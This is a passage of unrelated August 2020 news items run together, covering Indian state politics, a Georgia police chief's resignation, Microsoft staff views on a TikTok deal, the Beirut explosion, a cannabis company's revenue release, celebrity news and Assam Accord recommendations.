not be responsible in any way for the content of this article. (ANI/NewsVoir) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP national general secretary Ram Madhav on Tuesday warned his party leaders in Andhra Pradesh not to bask in the glory of Prime Minister Narendra Modi but work with a killer instinct to grab power in the state in 2024. Dont try to go into the battle placing the gun on Modis shoulders. If you do it, you will remain in that one per cent (BJPs vote share in 2019 assembly election). Modi will be Prime Minister for the next 10-15 years. We will derive benefit out of his good governance and people- oriented programmes but that is not sufficient. Aim is to grow as a potent force, Madhav said. Madhav addressed an event where MLC Somu Veerraju assumed responsibilities as the new BJP state unit president. He observed that BJP was in politics not for charity. As any political party, it aimed to come to power and serve the people and develop the state. The national general secretary said there was a vacuum in the opposition position in AP. We have to fill that vacuum and work with a killer instinct so that we grab power in 2024, he exhorted. Madhav chided the party state leadership for seeking the BJP high commands intervention on every issue. Dont call Delhi (leadership) all the time and seek action.Delhi will do whatever needs to be done but the local party should travel the hard way and fight for the people, he said. For long, the BJP had been a junior partner in the state, we developed that mindset.Today we have to grow into a dominant party.For that, we have to change our mindset. We have to come on to the streets and fight in a democratic way, Madhav, who hails from the state, stressed. Noting that there was no strong opposition voice in AP, Madhav said the BJP should build it. Be it TRS (in neighbouring Telangana) or YSR Congress...they would want no opposition.We are observing the YSRC governments attitude towards opposition parties. We have to confront that as well.This is not a smooth ride, he remarked. When people in power were abusing it, BJP should be geared up to fight it, he added. He wanted the BJP in the state to be like a constructive opposition, a critical friend. Veerraju took over as the party state president from his predecessor Kanna Lakshminarayana. Former Union Minister Daggubati Purandeswari, Nehru Yuva Kendra Sangathan national vice-president Vishnuvardhan Reddy, BJP state in charge Sunil Deodhar, MLC P V N Madhav and other senior leaders attended. JOHNS CREEK, Ga. - Officials in a city outside of Atlanta have approved a settlement agreement resulting in the resignation of a police chief who was criticized for saying on social media that he doesnt support the Black Lives Matter movement. The Johns Creek City Council approved the agreement with Police Chief Chris Byers on Monday night, the city announced in a statement. Byers was placed on leave in June while officials began gathering information from residents, police officers and city employees, Johns Creek City Manager Ed Densmore said at the time. Byers wrote on his personal Facebook page that religious leaders had failed to give enough support to police and that the Black Lives Matter movement appears to glorify the killings of members of law enforcement. In his Facebook post, Byers said racism was at the core of the death of George Floyd. Floyd died in May after a white officer pressed his knee against the Black mans neck for nearly eight minutes as he pleaded for air. Byers also wrote that he was supportive of the widespread demonstrations for justice that resulted after Floyds death. But I do not support the Black Lives Matter as a movement as it seems to glorify the killing of my brothers and sisters, he wrote. It is not what you pastors and religious leaders think it is. The investigation later focused on other issues unrelated to the chiefs social media post, Densmore said. The city manager did not specify what those issues were. The details of the settlement agreement and the events leading up to Byers resignation were confidential, according to the citys statement. Based on extensive and careful consideration of everything that has occurred within our city over the past few months, we have come to the conclusion that it is in the citys best interests to part ways with our police chief, Mayor Mike Bodker said in the statement. Major Roland Castro was set to serve as the Interim Police Chief as the city began a search process for the next department leader, officials said. Johns Creek, a large Atlanta suburb just northeast of the city, is among Georgias largest cities with about 85,000 residents. After the resolution of the crisis arising out of rebellion by Congress MLAs owing allegiance to Sachin Pilot, Rajasthan Chief Minister Ashok Gehlot on Tuesday said that he would try to know their grievances and then try to win them over. Gehlot was speaking to the media before leaving for Jaisalmer, where MLAs from his camp are staying, to chair a Congress Legislature Party meeting. "As the Chief Minister, it is my responsibility to win the hearts of my MLAs if they have any cause to be annoyed with me. We will try to figure out what all promises were made to them and why they have grudges," he said. Gehlot pointed out that a 3-member committee has been formed by the Congress high command to look into the grievances of MLAs. However, Gehlot parried the question about his opinion on Pilot's return to the Congress fold as the Chief Minister had earlier dubbed his once-deputy 'nikamma' and 'nakara' (incompetent, worthless). Pilot, who was sacked as Deputy Chief Minister and PCC chief in July, is returning to state capital Jaipur from Delhi via road after meeting the party leadership and will be welcomed at different places en route by his supporters. The Chief Minister also attacked the BJP, saying that all their plans and projections have failed badly. "Imagine their situation -- they hired 3 planes which remained grounded as the MLAs refused to fly to a new place. They also wanted to take their MLAs for camping; that also could not be done. A meeting of MLAs scheduled to be held at a hotel on Tuesday has also been cancelled. Look, how they have fallen flat," he remarked. Gehlot said that he owes a lot to the Congress MLAs who stayed for a month in hotels and not even one of them joined the rival camp. "I have told them that I will be obliged to them for life," he added. He asserted that the Congress government in Rajasthan will complete its 5-year term and return to power again in the next Assembly elections. Actor Salman Khan finally stepped out to shoot a promotional video for his popular reality show Bigg Boss and was snapped outside Mehboob Studios in Mumbai. The actor has spent lockdown at his farmhouse in Panvel, returning to Mumbai only recently. Pictures that have surfaced online show Salman seated in his car as he comes out of the studios after completing his shoot for the day. While the men accompanying the Bollywood star (a driver and one person sitting in the back seat) are seen wearing face masks, Salman can be spotted without one. In the image, Salman is seen wearing a black shirt. Colors unveiled the first look of Bigg Boss 14 recently and posted a montage of videos from Salmans Panvel farmhouse where he could be seen ploughing and riding a tractor. Salman also announces in a voiceover that he is done with farming and tractors, and it is time for season to change as the freshest season of his show, Bigg Boss, is all set to premiere soon. While no official announcement has been made about the date, it is speculated that the show may begin by the end of September. Also read: Priyanka Chopra finishes writing her memoir Unfinished, says every word comes from a place of introspection and reflection Reports also claim that actors Neha Sharma and Jasmin Bhasin, and Ramanand Sagars great granddaughter Sakshi Chopra have been approached for the upcoming season. The final and official list of contestants is only unveiled on the premiere of the show. Salman has completed a decade of hosting the controversial show that often brings interesting contestants and engages the audience for the entire season - around three months - and sometimes, even beyond, with gossip around the contestants. Follow @htshowbiz for more SHARE THIS ARTICLE ON Microsoft employees in a company poll have shown a negative sentiment over Microsoft's potential deal to buy TikTok. Microsoft employees showed their disapproval in one of the company's internal Yammer groups seen by Business Insider. Microsoft's internal Yammer group called the CEO Connection allows employees to ask questions from the company CEO, Satya Nadella over company matters. One of the recent polls on the group asked the employees, "Should Microsoft buy TikTok?" to which 63 percent of employees said "no" and 18 percent said, "not sure." Only 18 percent of the responders said "yes." Although only 250 people out of Microsoft's 150,000 had voted at the time Business Insider saw the poll, they largely disapproved of the acquisition. "This is the first time in a long time that I've had doubt gnawing at the pit of my stomach that maybe we're not doing the right thing," Business Insider quoted an employee's comment. Other comments too voiced disapproval. Another employee said, "This deal is unethical from pretty much any perspective." The employee also stated that Microsoft would even be considering stepping into this situation is unthinkable. One employee's comment spoke about US President Donald Trump's condition for a substantial portion for the US treasury and called it a "bribe.". Another one said, "Even if it turns out we were pursuing acquiring them before this, and the POTUS was just [talking] about tax revenue benefits, not an explicit payoff, the fact the US government is forcing the sale still looks bad on us. We should walk away." Earlier, Microsoft co-founder Bill Gates in an interview called Microsoft's potential deal with TikTok a poisoned chalice. "Who knows what's going to happen with that deal," says Gates. "But yes, it's a poison[ed] chalice." He further calls Trump's threat to ban the app bizarre saying that the ban will kill all competition for Facebook. Commenting on Trump's demand for the US treasury Gates said, "I agree that the principle this is proceeding on is singly strange. The cut thing, that's doubly strange. Anyway, Microsoft will have to deal with all of that." Facebook CEO Mark Zuckerberg has said that the banning of TikTok worries him. "I just think it's a really bad long-term precedent, and that it needs to be handled with the utmost care and gravity whatever the solution is. I am really worried ... it could very well have long-term consequences in other countries around the world." Trump ordered an executive ban on TikTok and the Chinese messaging app WeChat on August 6. If Microsoft does acquire TikTok in the given deadline of 45 days, it could be one of the largest acquisitions by the company. The owner of The Osprey Hotel in Naas has said that local businesses struggling to get back to normal must not pay the price of Covid-19 outbreaks at some meat processing plants in Co Kildare. CEO of the PREM Group Jim Murphy said that 8,800 of hospitality jobs in Co Kildare are now at risk due to a 90 million drop in revenue anticipated before year end. Mr Murphy called for urgent financial support for the sector. The Osprey Hotel, which has 108 rooms as well a spa and wellness centre, has been heavily hit by cancellations in staycations, weddings and corporate bookings. A statement by Mr Murphy said: "The two-week shutdown in Kildare, Laois and Offaly can only be described as a huge shock to the management team, staff and owners (PREM Group) of The Osprey Hotel in Naas. "We have only just started to get back up on our feet and have worked tirelessly to ensure our guests enjoyed a healthy, safe and comfortable stay with us. "We followed the government protocols surrounding Covid-19 prevention to the letter and adhered to strict cleaning schedules, we installed sneeze screens, took out tables in the restaurant and reconfigured our lobby area to allow for social distancing. "Since we reopened on the 29th of June, we have done everything right. Our staff underwent stringent training, we spent a huge amount of money on equipment and cleaning, we managed dining, spa and swim times very closely so that too many people would not gather at the same time and to allow for social distancing. "We also signed up to the Covid-19 Safety Charter, a Government-endorsed initiative which closely inspects tourism businesses to ensure the safety of guests, customers, and employees. Still we were shut down, and through no fault of our own." Mr Murphy said that as a direct result of the recent lockdown, the hotel will be be 70% behind its forecasted Year on Year Revenue for 2020. He added: "Worse still, this shutdown will not only impact August, we are already receiving substantial cancellation volumes for September. We have already lost bedroom bookings and have had to cancel weddings, events and conferences. "This shutdown could have a longer-term impact on customer sentiment around travelling to these three counties. Despite the fact that the source of the clusters has been identified, a blanket ban around travel has been imposed suggesting that Kildare, Laois and Offaly are unsafe destinations for corporate and leisure travel. Some of our large corporate accounts were ready to resume travel and have now put that on hold which is a real concern." The hotel boss said his 160 employees are extremely frustrated, and this shut down has resulted in a serious confidence blow for all of them and their families. He continued: "It is an absolute disgrace. It has been well known for weeks that meat plants were hotbeds for the transmission of the virus. This should not have been a surprise to NPHET as similar plants across Europe have also been a cause of concern. Why did the Irish government not react sooner and take these meat plants to task? Why were they not inspected regularly and monitored carefully by health authorities? "The government must face this impending disaster head on and not make matters worse by imposing shutdowns on businesses that had nothing to do with the recent outbreaks. "We need assistance and support; we should not be made pay for the sins of others. Lessons need to be learned from what happened in Kildare, Laois and Offaly so that local lockdowns can be avoided in other counties. "We now need assurances that Government will take every step necessary to allow businesses to reopen on the 22nd August." Johnson Asiedu Nketia, the NDC General Secretary, has refuted claims that he facilitated the registration of some 60 Ivorians during the just-ended voter registration exercise organized by the Electoral Commission. According to the General Secretary of the NDC, he rather met an Ivorian registered truck full of Ivorians at Banda Kabrono in the Bono Region during the monitoring of the registration process. The NPP, at a press conference on Monday, accused the NDC scribe of attempts to place foreigners onto the electoral roll of Ghana. John Boadu, the NPP General-Secretary, who addressed the incumbent partys press conference, alleged that Johnson Asiedu Nketia orchestrated the registration of over 60 Ivorians at Banda Kabrono. Unfortunately for him, as they finished registering and were returning, the tyre [of a vehicle they were bussed in for the registration] got burst and the security agencies were alerted. And they realized that 66 Ivorians had managed to cross with the help of Asiedu Nketia to register and vote in the upcoming elections, he alleged. But Asiedu Nketia in a rebuttal told Joy FM: The NPP regional Chairman [for Bono Region] and the Parliamentary Candidate for the area ordered these people to come back to Kabrono and insisted that they register. They were 66 in all and all these people were challenged by the NDC party agents, and in spite of that the NPP got all their voters ID for them to return to Ivory Coast. Do you think I will organize a group of foreigners and after that ask my party agents to challenge them? he questioned. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Retirement savings are expected to take an unprecedented hit as a result of the financial consequences of the COVID-19 pandemic due to high levels of unemployment, minimal growth in wages and depressed investment returns. Across all superannuation sectors self-managed super funds (SMSFs), retail funds, industry funds and corporate funds accumulation phase account balances are likely to fall by as much as 16 per cent during 2020, forecasts by financial services researcher DEXX&R show. Super funds are forecast to be hit particularly hard by the financial fallout of the pandemic. Credit:Anthea Ho Over the longer term, the researcher expects the super industry will have about $2.46 trillion in funds under management by June, 2029 34 per cent lower than the $3.75 trillion it had been forecasting before the pandemic. The DEXX&R research shows SMSF members would likely be hit hard by a "dividend recession" and record-low interest rates, given their high exposure to large Australian listed companies, cash and term deposits. However, the figures show the impact of the pandemic would be felt mostly by industry funds in the short term. A Northern Ireland woman living in Beirut has praised rescue workers as the city marked one week since a devastating explosion. AnnaSophia Gallagher (31) grew up in Glenavy but has lived in the Lebanese capital for the last two years. Last Tuesday, she was sitting outside a restaurant with a friend around a mile away from the port where the huge blast took place. She said the heroic efforts of volunteers since then stand in stark contrast to shocking neglect by the authorities, with an angry backlash forcing the government to resign on Monday. It's believed that over 200 people died in the explosion - caused by 2,750 tonnes of ammonium nitrate being stored unsafely in a warehouse for six years - with thousands more injured and displaced from their homes while the threat of coronavirus remains. Speaking to the Belfast Telegraph shortly before a minute's silence was held across Lebanon, AnnaSophia recalled the terrifying moment of "absolute, total destruction". "I was sitting outside a restaurant with a friend who had just arrived. I was facing towards the port and it felt like slow motion," she said. Expand Close The devastation in AnnaSophias neighbourhood after the explosion / Facebook Twitter Email Whatsapp The devastation in AnnaSophias neighbourhood after the explosion "We felt the earth move like it was an earthquake and then I saw this huge gust of hot air coming towards us. "The buildings seemed to inhale and almost exhale and just spat out all of the contents, all of the glass just fell out onto the street." Read More The sounds of cars screeching to a halt and screaming soon followed in the confusion. AnnaSophia had been sitting beside a concrete wall, saving her from the shards of glass that fell over others. She quickly contacted her family and co-workers across the city, who initially believed there had been multiple explosions due to the sheer scale of the blast. Expand Close The cafe table where AnnaSophia was sitting when the blast struck / Facebook Twitter Email Whatsapp The cafe table where AnnaSophia was sitting when the blast struck "A close friend of mine in Lebanon called me in panic, there were dead bodies where she was. She had fallen over at work and there was walking wounded in the street, people deeply injured," she said. "Her whole apartment had been blown up, her dog had run away. She's beside one of the main hospitals that was dealing with the Covid crisis." A nearby hospital soon became overwhelmed, with doctors treating patients in car parks and those with first aid trying to help. "It was a complete disaster zone. The clean-up is just ongoing and the local solidarity is just amazing." She said faith in the authorities was now at "rock bottom" after the government stepped down. "There's yet to be a very clear government speech outlining the relief plan, the investigation, any clear factual help or response. Expand Close The table is blown into the street moments later / Facebook Twitter Email Whatsapp The table is blown into the street moments later "So everything has been done by civil society and ordinary individuals. Obviously the international community has sent almost $300m, and they are here supporting civil society, and the UN are trying to coordinate that effort." She said the fact that the relief funds had not been channelled through the government spoke volumes. "The absence of the state is remarkable. The international attention is very important to maintain the pressure to reform - whether or not those reforms will come and when and how is the bigger question." She said the arrival of foreign aid and finding her neighbour's traumatised dog hiding under a bed in a different building had been among many emotional moments in the last week. "One of the most poignant things was the night of the blast when I was sitting down having a short break. "There was a man standing beside me and I asked him if he needed anything. He said, 'I'm Syrian, we're used to this' and my heart just broke like that. What world do we live in where someone is used to that?" She added: "Everyone is really taking care of each other and the solidarity among the people here is truly remarkable in the absence of any government solidarity with them." AnnaSophia works for a Northern Irish/Lebanese company, Siren Associates, which works to make public institutions more accountable. Now working from home, she said the most pressing need is access to accommodation, healthcare and clean water. Meanwhile, work is continuing behind the scenes to form a new government after Prime Minister Hassan Diab resigned. Some of the main demands emerging in Lebanon are for an independent cabinet not backed by any political parties, and for an independent investigation into the port explosion. LAS VEGAS, NV / ACCESSWIRE / August 11, 2020 / CLS Holdings USA, Inc. (OTCQB:CLSH) (CSE:CLSH), the 'Company' or 'CLS', a diversified cannabis company operating as Cannabis Life Sciences, today announced the financial and operational results for its Nevada wholly owned subsidiaries for the month of July 2020 with net revenues of $1,381,842 USD and Gross Margin of 52%. Despite ongoing operational restrictions from COVID-19, the Company has increased its July 2020 net revenue by 44.8% compared to July 2019 and 138% over July 2018 to deliver its most successful month to date. CLS Nevada July 2020 Financial and Operational Highlights Additional health and safety measures were prioritized at the CLS Nevada subsidiaries in July, including expansive employee testing, regular sanitization, and widely available PPE July's net revenue has increased by 44.8% over 2019 and 138% over 2018 - a near 240% increase in monthly net revenue since acquisition CLS' Nevada subsidiaries continue to develop best practices for delivering high quality products, services, and experiences in light of continued regulatory hurdles Continued Adaptation As a part of its commitment to curtailing the spread of COVID-19 among its employees and customers, CLS initiated additional safety practices beyond the scope of state mandates in July. These measures included free testing for all Nevada subsidiary employees, professional disinfection of all facilities three times per week, and expanded internal protocols to ensure the safety of customers and staff. These protocols include floor guided social distancing, widely available PPE for all staff, and continuous availability of hand sanitizer. Maintaining the health and comfort of its customers and employees continues to be a critical mission for CLS, and adherence to this goal has bolstered customer confidence in CLS's Nevada dispensary, driving record revenues. Reaching New Heights Since their acquisition in July 2018, CLS' Nevada retail subsidiary, Oasis Cannabis, and its Nevada wholesale manufacturing division, City Trees, have collectively tripled their monthly net revenue from a total of $580,675 in July 2018 to $1,381,842 in July 2020. The number of daily transactions at Oasis in July 2020 increased by 21.6% over June 2020, accompanied by an average dollar amount per transaction increase of 10.6%, leading to the highest net revenue month in company history, despite a continuing 33% reduction in daily operating hours. The addition of expanded delivery and curbside pick-up services in March 2020 have continued to increase total transactions at Oasis to record numbers, and have increased the availability of City Trees' products market-wide. Andrew Glashow President/COO stated "In the face of remarkable challenges, CLS' Nevada subsidiaries in Nevada have maintained cautious growth while continuing to prioritize the health and safety of their employees and customers. CLS Holdings will continue to follow best practices outlined by health officials and make compassionate business choices that are expected to grow revenue safely and sustainably. While we celebrate new revenue highs and our continued growth in the Nevada cannabis market, it is vital to our mission that our employees and customers are safe and comfortable, first and foremost - a goal that will provide a foundation for our decisions going forward". About CLS Holdings USA, Inc. CLS Holdings USA, Inc. (CLSH) is a diversified cannabis company that acts as an integrated cannabis producer and retailer through its Oasis Cannabis subsidiaries in Nevada and plans to expand to other states. CLS stands for "Cannabis Life Sciences," in recognition of the Company's patented proprietary method of extracting various cannabinoids from the marijuana plant and converting them into products with a higher level of quality and consistency. The Company's business model includes licensing operations, processing operations, processing facilities, sale of products, brand creation and consulting services. http://www.clsholdingsinc.com. Twitter: @CLSHusa Oasis Cannabis has operated a cannabis dispensary in the Las Vegas market since dispensaries first opened in Nevada in 2015 and has been recognized as one of the top marijuana retailers in the state. Its location within walking distance to the Las Vegas Strip and Downtown Las Vegas in combination with its delivery service to residents allows it to efficiently serve both locals and tourists in the Las Vegas area. In February 2019, it was named "Best Dispensary for Pot Pros" by Desert Companion Magazine. In August 2017, the company commenced wholesale offerings of cannabis in Nevada with the launch of its City Trees brand of cannabis concentrates and cannabis-infused products. http://oasiscannabis.com Photo: Oasis Cannabis Dispensary. Las Vegas, NV Founded in 2017, City Trees is a Nevada-based cannabis cultivation, production and distribution company. Offering a wide variety of products with consistent results, City Trees products are available in numerous dispensaries throughout the state of Nevada. https://citytrees.com Forward Looking Statements This press release contains certain 'forward-looking information' within the meaning of applicable Canadian securities legislation and 'forward-looking statements' as that term is defined in the Private Securities Litigation Reform Act of 1995 (collectively, the 'forward-looking statements'). These statements relate to, among other things, the future impact of the COVID-19 virus on our business, the future results of our initiatives to retain our employees and strengthen our relationships with our customers and community during the pandemic, the future effect of our initiatives to expand market share and achieve growth following the pandemic, results of operations during the pandemic, and the effectiveness of our business practices during the pandemic. The continued spread of COVID-19 could have, and in some cases already has had, an adverse impact on our business, operations and financial results, including through disruptions in our cultivation and processing activities, supply chains and sales channels, and retail dispensary operations as well as a deterioration of general economic conditions including a possible national or global recession. Due to the speed with which the COVID-19 situation is developing and the uncertainty of its magnitude, outcome and duration, it is not possible to estimate its impact on our business, operations or financial results; however, the impact could be material. In some cases, you can identify forward looking statements by terminology such as 'may,' 'might,' 'will,' 'should,' 'intends,' 'expects,' 'plans,' 'goals,' 'projects,' 'anticipates,' 'believes,' 'estimates,' 'predicts,' 'potential,' or 'continue' or the negative of these terms or other comparable terminology. These forward-looking statements are only predictions, are uncertain and involve substantial known and unknown risks, uncertainties and other factors which may cause our actual results, levels of activity or performance to be materially different from any future results, levels of activity or performance expressed or implied by these forward-looking statements. We cannot guarantee future results, levels of activity or performance. You should not place undue reliance on these forward-looking statements, which speak only as of the date that they were made. These cautionary statements should be considered together with any written or oral forward-looking statements that we may issue in the future. Except as required by applicable law, we do not intend to update any of the forward-looking statements to conform these statements to reflect actual results, later events or circumstances or to reflect the occurrence of unanticipated events. See CLS Holdings USA filings with the SEC and on its SEDAR profile at www.sedar.com for additional details. Contact Information: Corporate: Chairman and CEO Jeff Binder President and COO Andrew Glashow 888-438-9132 Investor Relations: investors@clsholdingsinc.com SOURCE: CLS Holdings USA, Inc. View source version on accesswire.com:https://www.accesswire.com/601076/CLS-Upholds-Commitment-to-COVID-19-Safety-Hits-Record-Revenues-for-July-2020 Meghan Markle's faith plays a central role in her life while prayer and conversations with God have got her through the 'darkest moments', a source claims in Finding Freedom. In the hotly-anticipated biography by authors Omid Scobie and Carolyn Durand, which is out today, the insider claims the Duchess of Sussex's 'spirituality' saw her gather her Suits castmates for a 'prayer circle' before they began filming. According to the source, who is reportedly a close friend and has often prayed with Meghan, 39, both she and Prince Harry, 35, have been on a 'journey of faith together' during their relationship. Finding Freedom provides an intimately detailed and personalised version of the events leading up to the Sussexes' dramatic departure from royal life, with co-authors Scobie and Durand insisting 'all information in this book has at least two sources'. Meghan Markle's faith plays a central role in her life while prayer and conversations with God have got her through the 'darkest moments', a source claims in Finding Freedom. Pictured: Meghan speaking via video link about the fight against gender and race inequality in an address to young women around the world for the UN initiative Girl Up last month Discussing the perceived betrayal of her old school friend Ninaki Priddy, who claimed she wasn't shocked at all by the news of Meghan's engagement because 'she was always fascinated by the Royal Family', the friend of the duchess told the authors: 'Part of what helped Meghan get through this difficult time was her faith. 'Her relationship with God and with her church is extremely important to her. That's something most people do not know about her. 'It plays a central role in her life, as an individual, as a woman.' They added: 'When I talk about her faith being a big part of her life, it's her faith in God. The biography by authors Omid Scobie and Carolyn Durand, which is out today, claims the Duchess of Sussex's 'spirituality' saw her gather her Suits castmates for a 'prayer circle' before they began filming. Pictured with co-star Patrick J Adams 'It's her faith in her family. Her faith in the people closest to her.' A further source claimed: 'It's prayer and conversations with God that have gotten her through the darkest moments. 'That's something that plays a significant role in her life and her relationship with Harry. The two have been on a journey of faith together.' Opening up: Carolyn Durand co-authored Finding Freedom with fellow royal expert Omid Scobie The book also goes on to discuss the duchess' regular meetings with the Archbishop of Canterbury Justin Welby ahead of her baptism into the Church of England prior to her wedding, with whom she formed a 'close bond' according to a royal aide. Meanwhile although Meghan's family wasn't overly religious, she was raised with an 'awareness of God'. Her mother Doria Ragland was brought up Protestant and her father Thomas Markle became a confirmed member of the Episcopal Church at the age of 14, but Meghan attended a Catholic school for educational reasons. According to Thomas, Meghan was not christened as a child because he and Doria did not share the same faith. A family friend claimed religion was 'not pushed on her', but her spirituality is 'born out of her own individual experience'. While studying at Northwestern, one of Meghan's best friends came from a Christian family and the pair would reportedly 'often pray together while at school'. The authors write that this cemented prayer as a tool for Meghan to help her face life's challenges. The book also goes on to discuss the duchess' regular meetings with the Archbishop of Canterbury Justin Welby ahead of her baptism into the Church of England prior to her wedding (pictured), with whom she formed a 'close bond' according to a royal aide 'She used to gather the cast and crew of Suits for a prayer circle before starting work,' they claim. 'Her invocations on set were never about a specific theology. 'Instead, she wanted to bring everyone together during moments of transition or difficulty.' Meghan's choice to be baptised before marrying Harry was apparently her choice out of respect for the Queen and a 'step forward on her own spiritual journey', according to a friend. During her meetings with the Archbishop, the pair would reportedly discuss 'many personal matters', including her previous marriage to producer Trevor Engelson, with Mr Welby asking her 'what she learned from her divorce'. Speaking about her baptism, one of the 18 guests described the service, held at At James' Palace's Chapel Royal in March 2018, as 'uplifting'. Meanwhile it details how the guests, which did not include the Queen, Prince William or Kate Middleton, went on to attend a dinner party at Clarence House hosted by Prince Charles and Camilla in honour of the holy event. The biography offers an insight into Harry and Meghan's relationships with his brother and sister-in-law, his father and the Royal Family as a whole. Mumbai, Aug 11 : Bigg Boss 13 winner and television star Sidharth Shukla has recalled his childhood memories of celebrating Janmashtami. Sidharth took to social media on Tuesday to take a journey down the memory lane. He also expressed why he feels bad for today's children. "Back in d day ... I used to look forward to Janmashtami as the next day I wanted to break Matkis in my colony but unfortunately we didn't get offs from school.....but now I feel worse for school kids as they don't have school but no breaking matkis ....neway #HappyJanmashtami," tweeted Sidharth from his verified account on Tuesday. On the work front, Sidharth features alongside Neha Sharma in the recently-released music video "Dil ko karaar aya", which is enjoying a warm response from his fans on social media. Yasser Desai and Neha Kakkar have lent their voices to the track. Melissa McCarthy is making the most of her family trip to Byron Bay before filming kicks off for her new TV series, Nine Perfect Strangers. The American actress, 49, was spotted shopping up a storm in the New South Wales coastal town's Habitat complex on Tuesday. Joined by her lookalike daughter Vivian, 13, the Bridesmaids star appeared to be in good spirits as she wandered around the trendy retail precinct. Calm before the storm: Melissa McCarthy, 49, (R) indulged in some retail therapy with her lookalike daughter Vivian, 13, (L)in Byron Bay on Tuesday ahead of filming Nine Perfect Strangers Melissa looked effortlessly glamorous in a black button-down blouse, matching culottes, strappy sandals and a long-line grey-and-brown cardigan. She shielded her famous visage behind a pair of large sunglasses, while sweeping her chestnut locks back in to a half-up-half-down style. The shopping expedition appeared fruitful, as Melissa was spotted leaving a homewares store carrying a paper shopping bag. Retail bliss: The Bridesmaids star appeared to be in good spirits as she wandered around the trendy retail precinct A-list chic: Melissa looked effortlessly glamorous in a black button-down blouse, matching culottes, strappy sandals and a long-line grey-and-brown cardigan Meanwhile, Vivian dressed for comfort in a white T-shirt, navy vest and blue jeans. She wore a pair of sensible white sneakers and accessorised her look with a long pendant necklace and a snazzy leopard-print shoulder bag. The Hollywood star is currently staying in Byron Bay with Vivian, as well as her husband Ben Falcone, 46, and their youngest daughter Georgette, 10. Casual: Meanwhile, Vivian dressed for comfort in a white T-shirt, navy vest and blue jeans Success! The shopping expedition appeared fruitful, as Melissa was spotted leaving a homewares store carrying a paper shopping bag Melissa will soon begin filming Nine Perfect Strangers, which is based off the 2018 novel by Big Little Lies author Liane Moriarty. The show is being brought to life by Oscar winner Nicole Kidman, with the $100 million production filmed in New South Wales, Australia. The series will tell the story of nine stressed-out urbanites who escape to a wellness retreat run by Nicole's character. Filming will begin on August 10 and will run for 19 weeks. Family trip: The Hollywood star is currently staying in Byron Bay with Vivian, as well as her husband Ben Falcone, 46, and their youngest daughter Georgette, 10 Troopers on Tuesday again asked for help identifying the person or people who have shot cars on Interstate 5 in southern Oregon. The Oregon State Police first asked for help identifying those responsible in mid-July. Several other cars have since confirmed to have been shot, the agency said. The shootings that had previously been confirmed were in Douglas and Josephine Counties. Troopers on Tuesday added Jackson County to the list. No injuries have been reported. Troopers urge anyone traveling on Interstate 5 who thinks their car has been hit by a bullet to call 911 and note the time and location of the shooting. People whose cars have been shot should leave the area if possible. Troopers also urge anyone who has information about the shootings to call 1-800-442-2068 or *OSP. Tipsters should reference case No. SP20-173444. -- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. By PTI GUWAHATI: The All Assam Students' Union, which was part of the Centre-appointed committee on implementing Clause 6 of the Assam Accord, on Tuesday released a "confidential" report, which, among other things, seeks "declared foreigners" to be settled outside the state. The report, which was submitted to the state Chief Minister Sarbananda Sonowal and was supposed to be forwarded to the Centre, also wants sealing of the entire Indo-Bangladesh border and reservation of almost all of the state's parliamentary seats for the local people, and creation of a legislative council in the state. Assam has 14 Lok Sabha seats. AASU, which led a mass movement for expulsion of illegal Bangladeshi migrants in the early 1980s, released the report, contending it had to do so as the state government was "just sitting idle" over it, and that the people of Assam needed to know its contents. "It has been more than five months since we submitted the report but there is simply no action from the government. People are asking us daily what happened to it. We have finally decided to release it as the people have the right to know," AASU chief advisor Samujjal Kumar Bhattacharya said, addressing a press conference with a member of the committee Nilay Dutta. Clause 6 of the Accord says, constitutional, legislative and administrative safeguards, as may be appropriate, shall be provided to protect, preserve and promote the culture, social, linguistic identity and heritage of the Assamese people. The bone of contention since the signing of the Accord on August 15, 1985 has been the definition of Assamese people. The committee tried to address the issue by including tribal, indigenous and all other Indian citizens residing within the territory of Assam as per the First Schedule of the Constitution on or before January 1, 1951 along with their descendants within the ambit of Assamese people. On February 25, the high-level committee on the implementation of Clause 6, headed by Justice (retd) B K Sharma, had submitted the report to Chief Minister Sarbananda Sonowal for handing it over to Union Home Minister Amit Shah. The chairman of the committee had submitted the report to the chief minister in the presence of the entire state cabinet, top government officials and journalists. "We do not know where the report is. Is it in the chief minister's almirah or somewhere? Has it been sent to Delhi? It is not acceptable to neglect the report this way," Bhattacharya said. When asked if there could be any legal implications for AASU or the members of the panel for making the "confidential" report public, Dutta replied in the negative. The Union Home Ministry had in January last year formed the committee headed by retired union secretary level officer M P Bezbaruah, but six of the nine members declined to be part of it, following which the panel was reconstituted on July 16, 2019 with 14 members and justice Sharma as its chairman. As part of the core proposals, the panel sought implementation of the Assam Accord in "letter and spirit", while suggesting prompt measures to "fully" seal the India- Bangladesh border. "Till the deportation of post-1971 stream of declared foreigners is completed, they should be resettled in areas outside the state of Assam as an interim measure," it said. According to the Assam Accord, all foreigners coming to Assam on or after March 25, 1971 would be detected, their names deleted from electoral rolls and steps taken to deport them. It also suggested reservation of 80-100 per cent Parliament seats from the state for indigenous people, and recommended creation of an Upper House in Assam. The panel suggested that 80-100 per cent jobs should be reserved for Assamese people in Group C and D posts of central government, PSUs, private sector and public-private partnership (PPP) projects. It also sought 80-100 per cent quota for local people in all jobs of the Assam government and state PSUs, while 70-100 per cent in state PPP projects. Recommending setting up land tribunals, the committee suggested measures for protecting the land rights of the local population. "Assamese language shall continue to be the official language of Assam as per the provisions of the Assam Official Language Act, 1960 throughout the state with appropriate provisions for use of local languages in Barak valley, hill districts and the BTAD (Bodo inhabited areas)," it said. Seeking protection and promotion of all the indigenous languages of the state irrespective of the number of speakers, the report said, the four language policy should be given appropriate legislative protection and suggested setting up an Autonomous Language and Literary Academy/Council of Assam. It also asked the government to give statutory legislative protection to Sattras, Namghars and other indigenous religious centres and establish separate cultural and research institutes of different branches on the lines of Sahitya Akademi, Sangeet Natak Akademi and Lalit Kala Akademi. "Multipurpose cultural complexes should be built throughout the state towards protection, preservation and upliftment of cultural heritage of each one of the tribes and other ethnic communities of Assam," the report said. To protect biodiversity, the Assam State Biodiversity Board should be strengthened with sufficient financial assistance for taking up various measures. The committee advised the government to form a body to monitor the execution of the report and reconcile any constitutional or legal challenges for implementing the suggestions at the earliest within two years from 